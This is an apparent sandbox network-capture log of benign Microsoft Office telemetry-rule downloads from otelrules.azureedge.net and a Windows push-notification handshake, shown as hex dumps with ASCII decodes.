2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 0c33812d-401e-005b-6489-389c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-164f84587bfm8kdnhC1DFWey4g00000005ag00000000cke4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-16547b76f7f2b5qzhC1DFWeag400000003dg00000000dn1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-16547b76f7fpdsp9hC1DFW8f5000000002wg0000000059ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-16547b76f7fw2955hC1DFWsptc00000005pg00000000kfas x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-16547b76f7fl5zvnhC1DFWtk9g00000003kg00000000nzf0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: a27d7b4e-f01e-0003-126b-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-164f84587bfh9nvdhC1DFWmce0000000034000000000g5ue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:14 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034114Z-16547b76f7fgvq8chC1DFWhd2w00000005sg00000000k237 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:15 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-164f84587bfm8kdnhC1DFWey4g00000005eg0000000009nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49726	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 61 77 30 42 37 33 52 34 55 71 59 5a 41 32 47 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 65 31 62 32 32 65 39 34 62 65 32 30 66 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: uaw0B73R4UqYZA2G.1Context: fce1b22e94be20f3
2024-11-18 03:41:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 03:41:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 61 77 30 42 37 33 52 34 55 71 59 5a 41 32 47 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 65 31 62 32 32 65 39 34 62 65 32 30 66 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 75 30 6e 7a 46 74 78 61 77 47 2b 62 4c 68 74 52 6e 32 41 44 6c 4a 49 46 78 41 51 66 73 49 6d 61 65 71 50 73 70 52 73 73 6e 72 71 71 61 2f 62 65 4e 5a 77 2f 75 5a 59 78 30 6d 59 6a 67 42 4a 4c 52 4b 35 76 46 77 57 4b 58 58 2f 57 2f 76 6d 6a 6f 56 39 39 32 49 6c 68 68 50 34 6f 37 6b 66 42 69 55 4f 73 76 57 57 55 32 77 31 2b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: uaw0B73R4UqYZA2G.2Context: fce1b22e94be20f3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXu0nzFtxawG+bLhtRn2ADlJIFxAQfsImaeqPspRssnrqqa/beNZw/uZYx0mYjgBJLRK5vFwWKXX/W/vmjoV992IlhhP4o7kfBiUOsvWWU2w1+
2024-11-18 03:41:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 61 77 30 42 37 33 52 34 55 71 59 5a 41 32 47 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 65 31 62 32 32 65 39 34 62 65 32 30 66 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: uaw0B73R4UqYZA2G.3Context: fce1b22e94be20f3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 03:41:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 03:41:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 53 75 2f 73 35 47 5a 56 6b 53 53 64 50 37 78 54 74 7a 32 38 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zSu/s5GZVkSSdP7xTtz28A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-16547b76f7f9s8x7hC1DFWywrg000000051000000000c145 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-1866b5c5fbbkcpv2hC1DFWf1yc00000005a000000000agfs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
